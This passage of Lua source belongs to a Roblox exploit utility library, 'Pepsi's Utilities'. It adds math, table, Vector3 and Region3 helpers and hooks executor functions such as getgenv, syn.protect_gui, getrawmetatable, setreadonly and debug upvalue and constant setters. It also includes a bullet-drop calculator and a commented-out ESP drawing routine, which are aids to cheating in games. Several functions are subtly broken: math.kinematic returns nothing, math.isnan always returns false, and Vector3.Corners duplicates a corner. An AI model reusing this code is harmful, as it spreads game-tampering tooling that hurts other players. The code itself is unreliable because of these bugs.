3059			pcall(function()
3060				if property == "Protect" and type(syn) == "table" and type(syn.protect_gui) == "function" then
3061					pcall(syn.protectgui, nstance)
3062				else
3063	            	nstance[tostring(property)] = value
3064				end
3065			end)
3066        end
3067    end
3068	if Pepsi.IsA(disapear, "number") and Pepsi.IsA(nstance, "Instance") then
3069		game:GetService("Debris"):AddItem(nstance, disapear)
3070	end
3071    return nstance
3072end
3073Instance.Make = Instance.make -- Added support for my GUI to lua
3074function math.round(n, d) -- Gotta do 'sum' rounding without floor
3075	n = tonumber(n or math.random())
3076	d = 10 ^ (d or 0)
3077	return ((n * d) + 0.5 - ((n * d) + 0.5) % 1) / d
3078end
3079function math.kinematic(startpos, velocity, duration, gravity) -- Bullet Drop calculator
3080	Pepsi.Arg(startpos, {"number", "Vector3", "CFrame"}, 1, "math.kinematic")
3081	Pepsi.Arg(velocity, {"number", "Vector3", "CFrame"}, 2, "math.kinematic")
3082	Pepsi.Arg(duration, "number", 3, "math.kinematic")
3083	Pepsi.Arg(gravity, {"nil", "number"}, 4, "math.kinematic")
3084	if type(startpos) == "number" then
3085		startpos = Pepsi.ToVector3(startpos).Y
3086	end
3087	if type(velocity) ~= "number" then
3088		velocity = Pepsi.ToVector3(velocity).Y
3089	end
3090	gravity = type(gravity) == "number" and gravity or workspace.Gravity
3091	local y = startpos + velocity * duration - (gravity * duration ^ 2) / 2
3092end
3093function math.isnan(num)
3094	if type(num) ~= "number" then
3095		return false
3096	end
3097	return false == (num > num) and false == (num < num) and false == (num == num)
3098end
3099function math.lerp(num1, num2, amount)
3100	Pepsi.Arg(num1, "number", 1, "math.lerp")
3101	Pepsi.Arg(num2, "number", 2, "math.lerp")
3102	Pepsi.Arg(amount, {"nil", "number"}, 3, "math.lerp")
3103	amount = tonumber(amount or 0.5)
3104	return num1 + ((num2 - num1) * amount)
3105end
3106function math.xor(e, f)
3107    local g, h = unpack({
3108        0X1,
3109        0X0
3110    })
3111    while e > 0X0 and f > 0X0 do
3112        local i, j = unpack({
3113            e % 0X2,
3114            f % 0X2
3115        })
3116        if i ~= j then
3117            h = h + g
3118        end
3119        e, f, g = unpack({
3120            (e - i) / 0X2,
3121            (f - j) / 0X2,
3122            g * 0X2
3123        })
3124    end
3125    if e < f then
3126        e = f
3127    end
3128    while e > 0X0 do
3129        local i = e % 0X2
3130        if i > 0X0 then
3131            h = h + g
3132        end
3133        e, g = unpack({
3134            (e - i) / 0X2,
3135            g * 0X2
3136        })
3137    end
3138    return h
3139end
3140function math.range(n, min, max) -- Returns a number warped by arguments
3141	n = tonumber(n or 0)
3142	min = tonumber(min or 0)
3143	max = tonumber(max or math.huge)
3144	if min > n then
3145		return min
3146	elseif max < n then
3147		return max
3148	end
3149	return n
3150end
3151function math.inverse(n) -- really stupid, but requested
3152	return tonumber(1 / tonumber(n or 1))
3153end
3154function math.coinflip() -- returns on a 50% chance
3155	return math.random(2) > 1
3156end
3157function math.chance(n)
3158	Pepsi.Arg(n, {"nil", "number"}, 1, "math.chance")
3159	return math.random(tonumber(n or 2)) == 1
3160end
3161function math.ranfloat(min, max)
3162	if min and not max then
3163		max, min = min, max
3164	end
3165	min, max = tonumber(min or -1), tonumber(max or 1)
3166	if type(min) == "number" and type(max) == type(min) then
3167		local int = math.random(min, max)
3168		local float = math.random() * ({1, -1})[math.random(2)]
3169		local res = int + float
3170		if res < min then -- Ninjas have not more than 2 legs.
3171			return min
3172		end
3173		if res > max then
3174			return max
3175		end
3176		return tonumber(res or math.random())
3177	end
3178	return tonumber(math.random() * ({1, -1})[math.random(2)])
3179end
3180function math.hex(num, case) -- Turn a number into a hex form
3181    if tostring(num):find("%.") then
3182        return num
3183    end
3184	local p = ""
3185    num = tonumber(num or 0) or 0
3186	if 0 > num then
3187		p = "-"
3188		num = math.abs(num)
3189	end
3190    case = case or false
3191    return string[case and "upper" or "lower"](tostring(tostring(p or "") .. "0X" .. tostring(string.format((function(x)
3192        if x then
3193            return "%X"
3194        end
3195        return "%x"
3196    end)(case), tonumber(num or 0)))))
3197end
3198function table.asort(t, sort_slot, rev) -- Array sort
3199	Pepsi.Arg(t, "table", 1, "table.esort")
3200	Pepsi.Arg(sort_slot, {"number", "nil"}, 2, "table.esort")
3201	Pepsi.Arg(rev, {"boolean", "nil"}, 3, "table.esort")
3202	sort_slot = tonumber(1 + tonumber(tonumber(sort_slot or 1) or 1)) -- You only need 1 tonumber... unless an idiot is using this.
3203	rev = not not rev
3204	table.sort(t, function(a, b)
3205		if rev then
3206			return a[sort_slot] < b[sort_slot]
3207		end
3208		return a[sort_slot] > b[sort_slot]
3209	end)
3210	return t
3211end
3212function table.esort(t, sort, sort_slot, rev) -- Extra sort
3213	Pepsi.Arg(t, "table", 1, "table.esort")
3214	Pepsi.Arg(sort, {"boolean", "nil"}, 2, "table.esort")
3215	Pepsi.Arg(sort_slot, {"number", "nil"}, 3, "table.esort")
3216	Pepsi.Arg(rev, {"boolean", "nil"}, 4, "table.esort")
3217	local master = {}
3218	for k, v in pairs(t) do
3219		if type(v) == "table" then -- Boy, someone really missed the point of this function.
3220			table.insert(master, {k, unpack(v)})  -- But not to worry, Pepsi has made a temporary fix to their stupidity.
3221		else
3222			table.insert(master, {k, v})
3223		end
3224	end
3225	if sort then
3226		return table.asort(master, sort_slot, rev)
3227	end
3228	return master
3229end
3230function table.count(t) -- Count dictionary tables
3231	local n = 0
3232	if Pepsi.IsA(t, {}) then
3233		for key, value in pairs(t or {}) do
3234			n = 1 + n
3235		end
3236	end
3237	return tonumber(n or 0)
3238end
3239function table.tojson(tab)
3240	Pepsi.Arg(tab, "table", 1, "table.tojson")
3241	return game:GetService("HttpService"):JSONEncode(tab)
3242end
3243function table.fromjson(str)
3244	Pepsi.Arg(str, "string", 1, "table.fromjson")
3245	return game:GetService("HttpService"):JSONDecode(str)
3246end
3247function table.xml(t) -- Converts a table into an xml string // Inspired by Shell64 // WORK IN PROGRESS
3248	Pepsi.Arg(t, "table", 1, "table.xml")
3249	return parse(t or {})
3250end
3251function table.sert(...)
3252	old_ins(...)
3253	return ({...})[1] or {}
3254end
3255function table.sort(t, f, ...) -- Table.sort now returns the table
3256	old_sort(t, f, ...)
3257	return t or {}
3258end
3259function table.clear(t, v) -- Table begone and Pepsied
3260	if Pepsi.IsA(t, {}) then
3261		for index, value in pairs(t or {}) do
3262			if value == v then
3263				t[index] = nil
3264			end
3265		end
3266	end
3267	return t or {}
3268end
3269function table.filterfunc(objects, func, async)
3270	Pepsi.Arg(objects, {"table", "Instance"}, 1, "table.filterfunc")
3271	Pepsi.Arg(func, "function", 2, "table.filterfunc")
3272	Pepsi.Arg(async, {"boolean", "nil"}, 3, "table.filterfunc")
3273	if typeof(objects) == "Instance" then
3274		objects = objects:GetChildren()
3275	end
3276	local items = {}
3277	for _, obj in pairs(objects) do
3278		if func(obj) then
3279			table.insert(items, obj)
3280		end
3281		if async then
3282			if typeof(async) == "RBXScriptSignal" then
3283				async:Wait()
3284			else
3285				Pepsi.Rs:Wait()
3286			end
3287		end
3288	end
3289	return items
3290end
3291function table.filter(t, v) -- Returns a table with values that matched arguments
3292	if Pepsi.IsA(t, {}) then
3293		for index, value in pairs(t or {}) do
3294			if not Pepsi.IsA(value, v) then
3295				t[index] = nil
3296			end
3297		end
3298	end
3299	return t or {}
3300end
3301function table.merge(...) -- Merge tables
3302	local tables = {...}
3303	local master = {}
3304	for _, t in pairs(tables) do
3305		if type(t) == "table" then
3306			for k, v in pairs(t) do
3307				master[k] = v
3308			end
3309		else
3310			table.insert(master, t)
3311		end
3312	end
3313	return master
3314end
3315function table.softmerge(...)
3316	local tables = {...}
3317	local master = {}
3318	for _, t in pairs(tables) do
3319		if type(t) == "table" then
3320			for k, v in pairs(t) do
3321				if rawget(master, k) ~= nil then
3322					master[k] = v
3323				elseif type(k) == "number" then
3324					table.insert(master, v)
3325				end
3326			end
3327		else
3328			table.insert(master, t)
3329		end
3330	end
3331	return master
3332end
3333function table.add(...)
3334	local async = false
3335	local tabs = {...}
3336	Pepsi.Arg(tabs[1], "table", 1, "table.add")
3337	Pepsi.Arg(tabs[2], "table", 2, "table.add")
3338	if #tabs > 2 and type(tabs[#tabs]) == "boolean" then	
3339		async = table.remove(tabs, #tabs)
3340	end
3341	if #tabs > 2 then
3342		for k = 3, #tabs do
3343			Pepsi.Arg(tabs[k], {"nil", "table"}, k, "table.add")
3344		end
3345	end
3346	local master = {}
3347	for _, tab in pairs(tabs) do
3348		for k, v in pairs(tab) do
3349			if type(k) == "number" then
3350				table.insert(master, v)
3351			elseif master[k] == nil then
3352				master[k] = v
3353			end
3354			if async then
3355				if typeof(async) == "RBXScriptSignal" then
3356					async:Wait()
3357				else
3358					Pepsi.Rs:Wait()
3359				end
3360			end
3361		end
3362		if async then
3363			if typeof(async) == "RBXScriptSignal" then
3364				async:Wait()
3365			else
3366				Pepsi.Rs:Wait()
3367			end
3368		end
3369	end
3370	return master
3371end
3372function table.negate(tab, tab2, match_keys)
3373	Pepsi.Arg(tab, "table", 1, "table.negate")
3374	Pepsi.Arg(tab2, "table", 2, "table.negate")
3375	Pepsi.Arg(match_keys, {"nil", "boolean"}, 3, "table.negate")
3376	if not match_keys then
3377		local master = table.dictionary(tab)
3378		for k, v in pairs(tab2) do
3379			master[v] = nil
3380		end
3381		return table.keys(master)
3382	end
3383	local master = tab
3384	for k, v in pairs(tab) do
3385		for k2, v2 in pairs(tab2) do
3386			if rawequal(k, k2) and rawequal(v, v2) then
3387				if type(k) == "number" then
3388					table.remove(master, k)
3389				else
3390					master[k] = nil
3391				end
3392			end
3393		end
3394	end
3395	return master
3396end
3397function table.ksort(t) -- Sort table by keys instead of values
3398	if Pepsi.IsA(t, "table") then
3399		local tt = {}
3400		for k, v in pairs(t) do
3401			table.insert(tt, tostring(k))
3402		end
3403		local nt = {}
3404		table.sort(tt)
3405		for k, v in pairs(tt) do
3406			nt[v] = t[v]
3407		end
3408		return nt
3409	end
3410	return t or {}
3411end
3412function table.flipkeys(t)
3413	if type(t) == "table" then
3414		local nt = {}
3415		for k, v in pairs(t) do
3416			nt[v] = k
3417		end -- Dogs have four legs
3418		return nt
3419	end
3420end
3421function table.shuffle(t)
3422    local nt = {}
3423    for i = #t, 1, -1 do
3424        local j = math.random(i)
3425        t[i], t[j] = t[j], t[i]
3426        table.insert(nt, t[i])
3427    end
3428    return nt or t or {}
3429end
3430function table.show(depth, ...)
3431	local tabs = {...}
3432	if type(depth) ~= "number" then
3433		tabs = {depth, ...}
3434		depth = 4
3435	end
3436	function printt(tab, d)
3437		d = tonumber(tonumber(d or 0) or 0)
3438		if d > depth then
3439			return
3440		end
3441		local pre = string.rep(" ", 3 * d)
3442		for key, val in pairs(tab) do
3443			print(pre, key, val)
3444			Pepsi.Rs:Wait()
3445			if type(key) == "table" then
3446				printt(key, d + 1)
3447			end
3448			if type(val) == "table" then
3449				printt(val, d + 1)
3450			end
3451		end
3452	end
3453	for key, val in pairs(tabs) do
3454		Pepsi.Rs:Wait()
3455		print(key, val)
3456		if type(key) == "table" then
3457			printt(key, 0)
3458		end
3459		if type(val) == "table" then
3460			printt(val, 0)
3461		end
3462	end
3463end
3464function table.keys(...)
3465	local tabs = {...}
3466	local keys = {}
3467	local names = {}
3468	for k, v in pairs(tabs) do
3469		if type(v) == "table" then
3470			for k, v in pairs(v) do
3471				if not names[k] then
3472					names[k] = true
3473					table.insert(keys, k)
3474				end
3475			end
3476		end
3477	end
3478	return keys or names or {}
3479end
3480function table.print(customfunc, ...)
3481	local tables = {...}
3482	if type(customfunc) == "table" or typeof(customfunc) == "Instance" then
3483		table.insert(tables, 1, customfunc)
3484		customfunc = print
3485	end
3486	for k, v in pairs(tables) do
3487		if typeof(v) == "Instance" then
3488			tables[k] = v:GetChildren()
3489		end
3490	end
3491	if not next(tables) then
3492		return assert(customfunc or print, "Missing print function?")("Table empty")
3493	end
3494	for k, v in pairs(tables) do
3495		if type(v) == "table" then
3496			table.foreach(v, customfunc)
3497		else
3498			print(v)
3499		end
3500	end
3501end
3502function table.rsort(tab)
3503	table.sort(tab, function(a, b)
3504		return a > b
3505	end)
3506	return tab
3507end
3508function table.eachfor(tab, func) -- table.foreach but arguments flipped
3509	for v, k in pairs(tab) do
3510		func(k, v)
3511	end
3512end
3513function table.dictionary(t, def, set)
3514	local nt = {}
3515	if def == nil then
3516		def = true
3517	end
3518	if type(t) == "table" then
3519		for k, v in pairs(t) do
3520			nt[v] = def
3521			if set then
3522				t[v] = def
3523			end
3524		end
3525	end
3526	return nt or {}
3527end
3528function table.each(typ, tab, func) -- table.foreach but arguments flipped
3529	if func == nil and type(tab) == "function" and type(typ) == "table" then
3530		typ, tab, func = true, typ, tab
3531	end
3532	for k, v in pairs(tab) do
3533		func(typ and v or k)
3534	end
3535end
3536table.mix = table.shuffle
3537table.subtract = table.negate
3538table.ffilter = table.filterfunc
3539table.filterfunction = table.filterfunc
3540table.minus = table.negate
3541table.unpack = unpack -- For those who are adept outside roblox
3542function Vector3.Table(v)
3543	v = Pepsi.ToVector3(v)
3544	return {X = v.X, Y = v.Y, Z = v.Z}
3545end
3546function Vector3.alter(vec, mods, y, z, relative)
3547	Pepsi.Arg(vec, {"Vector3", "CFrame"}, 1, "Vector3.alter")
3548	Pepsi.Arg(mods, {"table", "number"}, 2, "Vector3.alter")
3549	Pepsi.Arg(y, {"nil", "number"}, 3, "Vector3.alter")
3550	Pepsi.Arg(z, {"nil", "number"}, 4, "Vector3.alter")
3551	Pepsi.Arg(relative, {"nil", "boolean"}, 5, "Vector3.alter")
3552	local x, y, z, relative = math.nan, math.nan, math.nan, false
3553	if type(mods) == "table" then
3554		x, y, z, relative = mods.x, mods.y, mods.z, (mods.relative or mods.rel) == true
3555	elseif type(mods) == "number" then
3556		x, y, z, relative = mods, y, z, relative == true
3557	end
3558	Pepsi.Arg(x, {"nil", "number"}, 2, "Vector3.alter")
3559	Pepsi.Arg(y, {"nil", "number"}, 3, "Vector3.alter")
3560	Pepsi.Arg(z, {"nil", "number"}, 4, "Vector3.alter")
3561	Pepsi.Arg(relative, {"nil", "boolean"}, 5, "Vector3.alter")
3562	local vec = Pepsi.ToVector3(vec)
3563	if relative then
3564		x, y, z = tonumber(math.isnan(x) and 0 or x), tonumber(math.isnan(y) and 0 or y), tonumber(math.isnan(z) and 0 or z)
3565		return vec + Vector3.new(x, y, z)
3566	else
3567		local nx, ny, nz = vec.X, vec.Y, vec.Z
3568		x, y, z = (not math.isnan(x) and x), (not math.isnan(y) and y), (not math.isnan(z) and z)
3569		if type(x) == "number" then
3570			nx = x
3571		end
3572		if type(y) == "number" then
3573			ny = y
3574		end
3575		if type(z) == "number" then
3576			nz = z
3577		end
3578		return Vector3.new(nx, ny, nz)
3579	end
3580	return Pepsi.ToVector3(vec)
3581end
3582function Vector3.Corners(vec, size)
3583	if size == nil and Pepsi.IsA(vec, "BasePart") then
3584		vec, size = vec.CFrame, vec.Size
3585	elseif size == nil and type(vec) == "table" then
3586		if vec.Size and vec.CFrame then
3587			vec = vec.CFrame
3588			size = vec.Size
3589		else
3590			vec, size = unpack(vec)
3591		end
3592	elseif vec ~= nil and nil ~= size then
3593		vec, size = Pepsi.ToCFrame(vec), Pepsi.ToVector3(size)
3594	end
3595	if typeof(vec) ~= "CFrame" or typeof(size) ~= "Vector3" then
3596		return false
3597	end
3598	local corners = {}
3599	corners[1] = vec * (size * Vector3.new(1, 1, 1) / 2)
3600	corners[2] = vec * (size * Vector3.new(-1, 1, 1) / 2)
3601	corners[3] = vec * (size * Vector3.new(-1, -1, 1) / 2)
3602	corners[4] = vec * (size * Vector3.new(1, 1, -1) / 2)
3603	corners[5] = vec * (size * Vector3.new(-1, -1, 1) / 2)
3604	corners[6] = vec * (size * Vector3.new(1, -1, -1) / 2)
3605	corners[7] = vec * (size * Vector3.new(-1, 1, -1) / 2)
3606	corners[8] = vec * (size * Vector3.new(-1, -1, -1) / 2)
3607	return corners
3608end
3609function Vector3.Ranges(vecs, ...)
3610	if Pepsi.IsA(vecs, "BasePart") then
3611		vecs = Vector3.Corners(vecs)
3612	elseif typeof(vecs) == "Vector3" or "CFrame" == typeof(vecs) then
3613		vecs = {vecs, ...}
3614	end
3615	if type(vecs) ~= "table" then
3616		return false
3617	end
3618	local ranges = {
3619		X = {},
3620		Y = {},
3621		Z = {}
3622	}
3623	for k, v in pairs(vecs) do
3624		local vec = Pepsi.ToVector3(v)
3625		if vec then
3626			if not ranges.X[1] or vec.X < ranges.X[1] then
3627				ranges.X[1] = vec.X
3628			end
3629			if not ranges.X[2] or vec.X > ranges.X[2] then
3630				ranges.X[2] = vec.X
3631			end
3632			
3633			if not ranges.Y[1] or vec.Y < ranges.Y[1] then
3634				ranges.Y[1] = vec.Y -- Ninjas have two legs
3635			end
3636			if not ranges.Y[2] or vec.Y > ranges.Y[2] then
3637				ranges.Y[2] = vec.Y
3638			end
3639			
3640			if not ranges.Z[1] or vec.Z < ranges.Z[1] then
3641				ranges.Z[1] = vec.Z
3642			end
3643			if not ranges.Z[2] or vec.Z > ranges.Z[2] then
3644				ranges.Z[2] = vec.Z
3645			end
3646		end
3647	end
3648	return ranges
3649end
3650function Vector3.PointFromRange(range, override)
3651	Pepsi.Arg(range, {"table", "Instance"}, 1, "Vector3.PointFromRange")
3652	Pepsi.Arg(override, {"nil", "table"}, 1, "Vector3.PointFromRange")
3653	if typeof(range) == "Instance" and range:IsA("BasePart") then
3654		range = Vector3.Ranges(range)
3655		Pepsi.Arg(range, "table", 1, "Vector3.PointFromRange", "Couldn't get ranges of a " .. tostring(range.ClassName))
3656	else
3657		Pepsi.Arg(range, "table", 1, "Vector3.PointFromRange", "Couldn't get ranges of a " .. tostring(range.ClassName))
3658	end
3659	Pepsi.Arg(range, "table", 1, "Vector3.PointFromRange", "Couldn't get ranges")
3660	if "table" ~= type(range.X) or "table" ~= type(range.Y) or type(range.Z) ~= "table" then
3661		Pepsi.Arg(range, "table/sub table", 1, "Vector3.PointFromRange", "Sub items are not tables")
3662	end
3663	override = override or {}
3664	local ranx, rany, ranz = rawget(override, "X") or math.random(unpack(range.X)), rawget(override, "Y") or math.random(unpack(range.Y)), rawget(override, "Z") or math.random(unpack(range.Z))
3665	if ranx and rany and ranz then
3666		return Vector3.new(ranx, rany, ranz)
3667	end
3668end
3669function Vector3.InRegion(vec, obj, def)
3670	if vec == nil and obj ~= nil then
3671		return false
3672	end
3673    if def == nil then
3674        def = true
3675    end
3676    if obj == nil then
3677        obj = Pepsi.Me()
3678    end
3679    if type(vec) ~= "table" or obj == nil then
3680		if Pepsi.IsA(vec, "BasePart") and obj ~= nil then
3681			vec = Vector3.Ranges(vec)
3682		end
3683		if type(vec) ~= "table" or obj == nil then
3684			return false
3685		end
3686    end
3687    obj = Pepsi.ToVector3(obj)
3688    if typeof(obj) ~= "Vector3" then
3689        return false
3690    end
3691	if vec.X and not vec.x then
3692		vec.x = vec.X
3693	end
3694	if vec.Y and not vec.y then
3695		vec.y = vec.Y
3696	end
3697	if vec.Z and not vec.z then
3698		vec.z = vec.Z
3699	end
3700    if type(vec.x) == "table" and type(vec.y) == "table" and type(vec.z) == "table" then
3701        table.sort(vec.x)
3702        table.sort(vec.y)
3703        table.sort(vec.z)
3704        if obj.X < vec.x[1] then
3705            return false
3706        elseif obj.X > vec.x[2] then
3707            return false
3708        elseif obj.Y < vec.y[1] then -- FUCK!		Sorry, this looked like a good spot to put that.
3709            return false
3710        elseif obj.Y > vec.y[2] then
3711            return false
3712        elseif obj.Z < vec.z[1] then
3713            return false
3714        elseif obj.Z > vec.z[2] then
3715            return false
3716        end
3717    else
3718        return false
3719    end
3720    return def
3721end
3722function Vector3.Direction(vec1, vec2)
3723	vec1 = Pepsi.ToVector3(vec1)
3724	vec2 = Pepsi.ToVector3(vec2)
3725	Pepsi.Arg(vec1, "Vector3", 1, "Vector3.Direction")
3726	Pepsi.Arg(vec2, "Vector3", 2, "Vector3.Direction")
3727	return vec1 - vec2 -- Srsly guys, you dont need to request stuff that can be done in 2 seconds
3728end
3729Vector3.Region = Vector3.InRegion
3730Vector3.GetDirection = Vector3.Direction
3731function Region3.FromPart(p) -- Lord give me fucking strength. please.
3732	Pepsi.Arg(p, "Instance", 1, "Region3.FromPart")
3733	if not p:IsA("BasePart") then
3734		Pepsi.Arg(nil, "Instance", 1, "Region3.FromPart", "Value needs to be a BasePart")
3735	end
3736	local x, y, z, R00, R01, R02, R10, R11, R12, R20, R21, R22 = p.CFrame:GetComponents()
3737	local wsx, wsy, wsz = (math.abs(R00) * p.Size.X + math.abs(R01) * p.Size.Y + math.abs(R02) * p.Size.Z) / 2, (math.abs(R10) * p.Size.X + math.abs(R11) * p.Size.Y + math.abs(R12) * p.Size.Z) / 2, (math.abs(R20) * p.Size.X + math.abs(R21) * p.Size.Y + math.abs(R22) * p.Size.Z) / 2
3738	return Region3.new(Vector3.new(x - wsx, y - wsy, z - wsz), Vector3.new(x + wsx, y + wsy, z + wsz))
3739end
3740function Region3.ToPart(reg, props, debris)
3741	Pepsi.Arg(reg, "Region3", 1, "Region3.ToPart")
3742	Pepsi.Arg(props, {"nil", "table"}, 2, "Region3.ToPart")
3743	Pepsi.Arg(debris, {"nil", "number"}, 3, "Region3.ToPart")
3744	return Instance.Make("Part", (props or {
3745		CFrame = reg.CFrame,
3746		Size = reg.Size,
3747		Anchored = true,
3748		Transparency = 0.7,
3749		BrickColor = BrickColor.Random(),
3750		CanCollide = false,
3751		Parent = workspace
3752	}), debris)
3753end
3754function Region3.GetPlayers(region)
3755	Pepsi.Arg(region, "Region3", 1, "Region3.GetPlayers")
3756	return Pepsi.PartsToPlayers(workspace:FindPartsInRegion3(region))
3757end
3758function CFrame.LookAt(targ, from) -- This is the kind of stuff that gets requested...
3759	targ = Pepsi.ToVector3(targ)
3760	from = Pepsi.ToVector3(from or workspace.CurrentCamera.Position)
3761	Pepsi.Arg(targ, "Vector3", 1, "CFrame.LookAt")
3762	Pepsi.Arg(from, "Vector3", 2, "CFrame.LookAt")
3763	return CFrame.new(from, targ) -- Really guys, it's not that hard.
3764end
3765CFrame.Look = CFrame.LookAt
3766--[[
3767function Drawing.Highlight(part, properties)
3768	if not Drawing or not Drawing.new then
3769		warn("Drawing api absent")
3770		local function dummy()
3771			warn("Drawing api absent")
3772		end
3773		return {
3774			Lines = {},
3775			Remove = dummy,
3776			Show = dummy,
3777			Hide = dummy,
3778			Visible = dummy
3779		}
3780	end
3781	local visible = true
3782	if type(properties) == "boolean" then
3783		visible = properties
3784	end
3785	local DrawObject = {
3786		Lines = {
3787			Drawing.new("Line"),
3788			Drawing.new("Line"),
3789			Drawing.new("Line"),
3790			Drawing.new("Line")
3791		}
3792	}
3793	for num, line in pairs(DrawObject.Lines) do
3794		local x, e = pcall(function()
3795			local pos, size
3796			if part:IsA("Model") then
3797				pos, size = part:GetBoundingBox()
3798			elseif part:IsA("BasePart") then
3799				pos, size = part.CFrame, part.Size
3800			end
3801			local tl, tlv = workspace.CurrentCamera:WorldToViewportPoint(pos:ToWorldSpace(CFrame.new(size.X, size.Y, 0)).Position)
3802			local tr, trv = workspace.CurrentCamera:WorldToViewportPoint(pos:ToWorldSpace(CFrame.new(-size.X, size.Y, 0)).Position)
3803			local bl, blv = workspace.CurrentCamera:WorldToViewportPoint(pos:ToWorldSpace(CFrame.new(size.X, -size.Y, 0)).Position)
3804			local br, brv = workspace.CurrentCamera:WorldToViewportPoint(pos:ToWorldSpace(CFrame.new(-size.X, -size.Y, 0)).Position)
3805			if num == 1 then
3806				line.From = Vector2.new(tl.X, tl.Y)
3807				line.To = Vector2.new(tr.X, tr.Y)
3808			elseif num == 2 then
3809				line.From = Vector2.new(tr.X, tr.Y)
3810				line.To = Vector2.new(br.X, br.Y)
3811			elseif num == 3 then
3812				line.From = Vector2.new(bl.X, bl.Y)
3813				line.To = Vector2.new(tl.X, tl.Y)
3814			elseif num == 4 then
3815				line.From = Vector2.new(br.X, br.Y)
3816				line.To = Vector2.new(bl.X, bl.Y)
3817			end
3818			line.Color = BrickColor.Red().Color
3819			line.Thickness = 6
3820			line.Visible = not not visible
3821			if type(properties) == "table" then
3822				for prop, val in pairs(properties) do
3823					local x, e = pcall(function()
3824						line[prop] = val
3825					end)
3826					if not x then
3827						warn(e)
3828					end
3829				end
3830			end
3831		end)
3832		if not x then
3833			warn(e)
3834		end
3835	end
3836	function DrawObject:Remove()
3837		if self and self.Lines then
3838			for _, line in pairs(self.Lines) do
3839				pcall(function()
3840					return line:Remove()
3841				end)
3842			end
3843		end
3844	end
3845	function DrawObject:Show()
3846		if self and self.Lines then
3847			for _, line in pairs(self.Lines) do
3848				pcall(function()
3849					line.Visible = true
3850				end)
3851			end
3852		end
3853	end
3854	function DrawObject:Hide()
3855		if self and self.Lines then
3856			for _, line in pairs(self.Lines) do
3857				pcall(function()
3858					line.Visible = false
3859				end)
3860			end
3861		end
3862	end
3863	function DrawObject:Visible(bool)
3864		if self and self.Lines then
3865			for _, line in pairs(self.Lines) do
3866				pcall(function()
3867					if type(bool) ~= "boolean" or bool == nil then
3868						line.Visible = not line.Visible
3869					elseif type(bool) == "boolean" then
3870						line.Visible = bool
3871					end
3872				end)
3873			end
3874		end
3875	end
3876	if type(properties) == "number" then
3877		delay(properties, function()
3878			DrawObject:Remove()
3879		end)
3880	end
3881	return DrawObject
3882end]]
3883
3884local function typeof(val)
3885	if robloxtype(val) == "userdata" then
3886		local s, t = pcall(function()
3887			return tostring(val.ClassName or "userdata") or "userdata"
3888		end)
3889		if s and t then
3890			return t
3891		end
3892		return "userdata"
3893	end
3894	return robloxtype(val)
3895end
3896
3897if not Pepsi.Tick and not gethwid and not GetObjects and not HttpGet and not ReplaceString and not SetProxy then -- Fuck sirhurt fucking this up.
3898	Pepsi.TickService = Pepsi.NewClass("TickService", {}, false, {
3899		Tick = {
3900			triggers = {
3901				game:GetService("RunService").RenderStepped,
3902				game:GetService("RunService").Heartbeat,
3903				game:GetService("RunService").Stepped
3904			}
3905		},
3906		SuperTick = {
3907			triggers = {
3908				game:GetService("RunService").RenderStepped,
3909				game:GetService("RunService").Heartbeat,
3910				game:GetService("RunService").Stepped,
3911				game.ItemChanged
3912			}
3913		}
3914	})
3915	Pepsi.Tick = Pepsi.TickService.Tick
3916	Pepsi.SuperTick = Pepsi.TickService.SuperTick
3917	Pepsi.STick = Pepsi.TickService.SuperTick
3918elseif not Pepsi.Tick then
3919	Pepsi.Tick = Pepsi.Rs -- Sirhurt anti-fuck-up
3920	Pepsi.STick, Pepsi.SuperTick = Pepsi.Rs, Pepsi.Rs
3921end
3922
3923if getgenv then
3924	Pepsi.ycall(function() -- Protected, spawned call
3925		if not getgenv then
3926			return
3927		end
3928		for k = 1, 20 do
3929			pcall(function()
3930				if game:GetService("Players").LocalPlayer then
3931					getgenv().Pepsi.Lp = game:GetService("Players").LocalPlayer
3932				end
3933			end)
3934			wait(1)
3935			if Pepsi.Lp then
3936				break
3937			end
3938		end
3939	end)
3940end
3941
3942if not shared.PepsiUtil then
3943	shared.PepsiUtil = true
3944	Pepsi.Msg("Pepsi's Utilites Loaded! (Version:" .. tostring(_version) .. ")")
3945else
3946	Pepsi.Msg("Pepsi's Utilites Reloaded! (Version:" .. tostring(_version) .. ")")
3947end
3948auto_exec = auto_exec and getgenv and type(getgenv) == "function" and type(getgenv()) == "table" -- In short, if you don't have getgenv, autoexec won't work, and hense runs it regularly
3949if getgenv and type(getgenv) == "function" then
3950	Pepsi.Compatible()
3951	shared.dbg = shared.dbg or {}
3952	getgenv().robloxtype = getgenv().robloxtype or robloxtype
3953	getgenv().typeof = typeof
3954	getgenv().Color3, getgenv().Instance, getgenv().math, getgenv().string, getgenv().table, getgenv().Vector3, getgenv().Pepsi, getgenv().dbg = setmetatable({}, {__index = Color3}), setmetatable({}, {__index = Instance}), setmetatable({}, {__index = math}), setmetatable({rtl = utf8.char(8238)}, {__index = string}), setmetatable({}, {__index = table}), setmetatable({}, {__index = Vector3}), Pepsi, setmetatable({
3955		tb = traceback or debug.traceback or getrenv().debug.traceback or rawget(shared.dbg, "tb") or warn("shared.dbg.tb needs to be set to 'debug.traceback' function!"),
3956		grmt = getrawmetatable or rawget(shared.dbg, "grmt") or warn("shared.dbg.grmt needs to be set to 'getrawmetatable' function!"),
3957		sro = setreadonly or rawget(shared.dbg, "sro") or warn("shared.dbg.grmt needs to be set to 'setreadonly' function!"),
3958		gl = debug.getlocals or getlocals or rawget(shared.dbg, "gl") or warn("shared.dbg.grmt needs to be set to 'getlocals' function!"),
3959		sl = debug.setlocal or setlocal or rawget(shared.dbg, "sl") or warn("shared.dbg.grmt needs to be set to 'setlocal' function!"),
3960		su = debug.setupvalue or setupvalue or rawget(shared.dbg, "su") or warn("shared.dbg.su needs to be set to 'setupvalue' function!"),
3961		gus = debug.getupvalues or getupvalues or rawget(shared.dbg, "gus" or warn("shared.dbg.gus needs to be set to 'getupvalues' function!")),
3962		gu = debug.getupvalue or getupvalue or rawget(shared.dbg, "gu" or warn("shared.dbg.gu needs to be set to 'getupvalue' function!")),
3963		sc = debug.setconstant or setconstant or rawget(shared.dbg, "sc" or warn("shared.dbg.sc needs to be set to 'setconstant' function!")),
3964		gst = debug.getstack or getstack or rawget(shared.dbg, "gst" or warn("shared.dbg.gst needs to be set to 'getstack' function!")),
3965		gc = debug.getconstants or getconstants or rawget(shared.dbg, "gc") or warn("shared.dbg.gc needs to be set to 'getconstants' function!"),
3966		gr = debug.getregistry or getreg or getregistry or rawget(shared.dbg, "gr") or warn("shared.dbg.gr needs to be set to 'getregistry' function!"),
